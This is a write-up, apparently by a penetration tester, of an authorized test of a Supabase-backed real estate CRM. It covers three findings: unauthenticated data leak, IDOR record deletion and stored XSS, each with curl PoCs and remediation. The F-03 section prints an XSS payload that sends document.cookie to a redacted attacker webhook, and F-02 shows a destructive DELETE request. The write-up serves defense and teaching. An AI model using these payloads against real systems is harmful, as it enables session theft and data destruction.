Author: Shikhali Jamalzade (@alisalive) Type: Authorized Black Box Penetration Test Target: Anonymized — Real Estate CRM Web Application (Supabase backend) Methodology: PTES + OWASP API Security Top 10 + OWASP Top 10 Date: March 2026
Overview
This is a write-up of an authorized black-box penetration test I conducted on a real estate CRM system. The engagement was performed with written authorization, from a real attacker perspective — no prior knowledge of the application internals.
Three findings were identified, all rated High severity (CVSS 7.5–8.2). More importantly, they chain together into a complete account takeover path: unauthenticated data leak → IDOR to enumerate UUIDs → Stored XSS with session cookie theft → full admin compromise.
Note: The target's domain, company name, and any identifying details have been removed from this write-up. Screenshots have been sanitized of tokens, emails, and UUIDs.
Finding Summary
IDVulnerabilitySeverityCVSS v3.1OWASP RefF-01Broken Authentication — Mass Data LeakHigh7.5API2:2023F-02IDOR — Unauthorized Record DeletionHigh8.1API1:2023F-03Stored XSS + HTML InjectionHigh8.2A03:2021 / API8:2023
Reconnaissance & Enumeration
The application was a Supabase-backed CRM. During initial enumeration with Burp Suite, I mapped the REST API surface:
/rest/v1/users
/rest/v1/clients
/rest/v1/recordsThe structure immediately raised flags — Supabase auto-generates REST endpoints for every table, and if Row Level Security (RLS) is misconfigured or disabled, those endpoints are fully exposed.
F-01 — Broken Authentication / Mass Data Leak
CVSS: 7.5 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Category: OWASP API Security Top 10 — API2:2023 (Broken Authentication)
Description
The /rest/v1/users and /rest/v1/clients endpoints performed zero server-side token validation. Sending a plain GET request with no Authorization header returned the full user database in JSON format — UUIDs, roles, email addresses, and internal notes.
This is distinct from BOLA/IDOR (F-02): here, the attacker isn't authenticated at all. There's simply no authentication enforced.
Reproduction (PoC)
bash
# No Authorization header — completely unauthenticated
curl -X GET "https://[REDACTED].supabase.co/rest/v1/users?select=*" \
-H "apikey: [PUBLIC_ANON_KEY]"Response (sanitized):
json
[
{
"id": "[UUID-REDACTED]",
"email": "[REDACTED]@[REDACTED].com",
"role": "admin",
"notes": "[REDACTED internal note]"
},
...
]The same technique worked against /rest/v1/clients?select=*, exposing the entire client database.
Impact
- Full exposure of all admin identities (UUIDs, emails, roles)
- Complete client database accessible without authentication
- Data usable for social engineering, account takeover prep, or data brokering
- GDPR/data protection compliance violation risk
Remediation
sql
-- Enable RLS on all tables
ALTER TABLE users ENABLE ROW LEVEL SECURITY;
ALTER TABLE clients ENABLE ROW LEVEL SECURITY;
-- Create policies — users can only access their own data
CREATE POLICY "admin_own_data" ON users
USING (auth.uid() = id);
CREATE POLICY "clients_own_data" ON clients
USING (auth.uid() = created_by);Additionally: enforce JWT Bearer token validation on every API endpoint, and configure Supabase Dashboard → Authentication → Policies to block unauthenticated access to all /rest/v1/* routes.
F-02 — IDOR / Broken Object Level Authorization (BOLA)
CVSS: 8.1 — AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H
Category: OWASP API Security Top 10 — API1:2023 (BOLA)
Description
Unlike F-01 (no auth at all), this finding requires an authenticated session — but once logged in, any user can perform destructive operations on other users' records simply by supplying a different UUID.
The server never verified that the requesting user owned the target object. A DELETE request with another admin's record UUID succeeded silently.
Reproduction (PoC)
bash
# Step 1: Obtain victim's record UUID from F-01
# Step 2: Authenticated DELETE with your own session token, but victim's UUID
curl -X DELETE \
"https://[REDACTED].supabase.co/rest/v1/records?id=eq.[VICTIM-UUID-REDACTED]" \
-H "Authorization: Bearer [OWN-TOKEN-REDACTED]" \
-H "apikey: [REDACTED]"Response:
HTTP/2 204 No ContentVerification — record is gone:
bash
curl "https://[REDACTED].supabase.co/rest/v1/records?id=eq.[VICTIM-UUID-REDACTED]" \
-H "Authorization: Bearer [OWN-TOKEN-REDACTED]"
# Returns: [] ← record deleted, exploitation confirmedImpact
- Any authenticated user can delete or modify any other admin's records
- Irreversible data loss with no audit trail
- Disrupts all business operations relying on CRM data integrity
Remediation
sql
-- Object-level authorization via RLS
CREATE POLICY "delete_own_records" ON records
FOR DELETE
USING (auth.uid() = created_by);
CREATE POLICY "update_own_records" ON records
FOR UPDATE
USING (auth.uid() = created_by);Also recommended: implement soft delete (is_deleted flag + deleted_at timestamp) so destructive operations are reversible.
F-03 — Stored XSS + HTML Injection
CVSS: 8.2 — AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N
Category: OWASP Top 10 — A03:2021 (Injection) / OWASP API Security — API8:2023
Description
The client name field in the CRM's new-customer form accepted and stored arbitrary JavaScript without any server-side or client-side sanitization. The payload is written to the database and executes in every admin's browser when they view that client record — classic Stored (Persistent) XSS.
Note on CVSS PR:L: Creating a client record requires authentication. If the customer registration form is ever made public-facing, this becomes PR:N and the CVSS score rises to ~9.3.
Reproduction (PoC)
Payload injected into the full_name field:
html
<script>
fetch('https://[ATTACKER-WEBHOOK-REDACTED]/?c=' + document.cookie)
</script>Alternative payload (no external request — for local testing):
html
<img src=x onerror=alert(document.domain)>What happened:
- The payload was saved to the database (HTTP 201 Created)
- Any admin who navigated to that client's profile triggered execution
- The webhook received the admin's session token — full account takeover achieved
Sanitized screenshot description: Burp Suite showed the full_name field containing the raw XSS payload in the POST body, and the webhook server received the stolen token in the GET parameter c=.
Impact
- Session cookie theft → account takeover for every admin who views the poisoned record
- UI manipulation / phishing via HTML injection
- Internal network pivoting from a compromised admin session
- All admin accounts are at risk, not just the one who viewed the record
Remediation
Defense must be layered — client-side alone is insufficient:
1. Server-side (primary defense):
php
// PHP example
$clean_name = htmlspecialchars($input, ENT_QUOTES, 'UTF-8');Or for Supabase Edge Functions:
javascript
import { sanitize } from 'dompurify'; // server-side equivalent
const cleanName = sanitize(req.body.full_name);2. Client-side (secondary defense):
javascript
// Install: npm install dompurify
import DOMPurify from 'dompurify';
const safe = DOMPurify.sanitize(untrustedInput);3. Security headers:
Content-Security-Policy: default-src 'self'
Set-Cookie: session=...; HttpOnly; Secure; SameSite=StrictAttack Chain — Putting It All Together
This is where it gets interesting. The three findings don't exist in isolation — they form a complete kill chain:
[Step 1 — F-01: Unauthenticated API Access]
└─► GET /rest/v1/users?select=* (no auth required)
└─► Result: All admin UUIDs, emails, roles extracted
[Step 2 — F-02: IDOR]
└─► Using victim UUID from Step 1
└─► DELETE /rest/v1/records?id=eq.{victim_uuid}
└─► Result: Any record deleted, data integrity destroyed
[Step 3 — F-03: Stored XSS → Session Hijack]
└─► Authenticated with any account (even low-priv)
└─► POST /rest/v1/clients — name field = XSS payload
└─► Admin views client → JS executes → cookie sent to attacker
└─► Result: Full admin session captured
[Full Compromise]
└─► Attacker has valid admin session
└─► Access to entire CRM: all clients, records, admin data
└─► Can perform any action (read, write, delete) as adminThe critical observation: F-01 feeds F-02 (provides UUIDs) and F-03 accelerates to admin-level impact (any session captured = full access). A fix for F-01 alone significantly reduces the attack surface for both F-02 and F-03.
Remediation Priority
IDFindingPriorityDeadlineT-01Enable Supabase RLS + JWT enforcement on all endpoints🔴 Immediate24hT-02Add auth.uid() == created_by check on all mutation operations🔴 Immediate24hT-03Server-side sanitization + CSP header + HttpOnly cookies🔴 Immediate48h
Key Takeaways
For developers using Supabase (or any auto-generated REST API):
- RLS is not enabled by default on new tables. You must explicitly enable it for every table that holds sensitive data.
- The
anonkey is public. It's included in your frontend JS bundle. If RLS is off, anyone with the anon key can read your entire database. - Authentication ≠ Authorization. F-02 is a perfect example — the user was authenticated, but the system never checked what they were authorized to do to which objects.
- Stored XSS in internal tools is high severity. It's easy to underestimate because "only admins can see it" — but that's exactly who attackers want to compromise.
Written by Shikhali Jamalzade — Offensive Security Researcher & Penetration Tester GitHub: @alisalive | LinkedIn: Shikhali Jamalzade This write-up covers an authorized penetration test. All identifying details have been removed.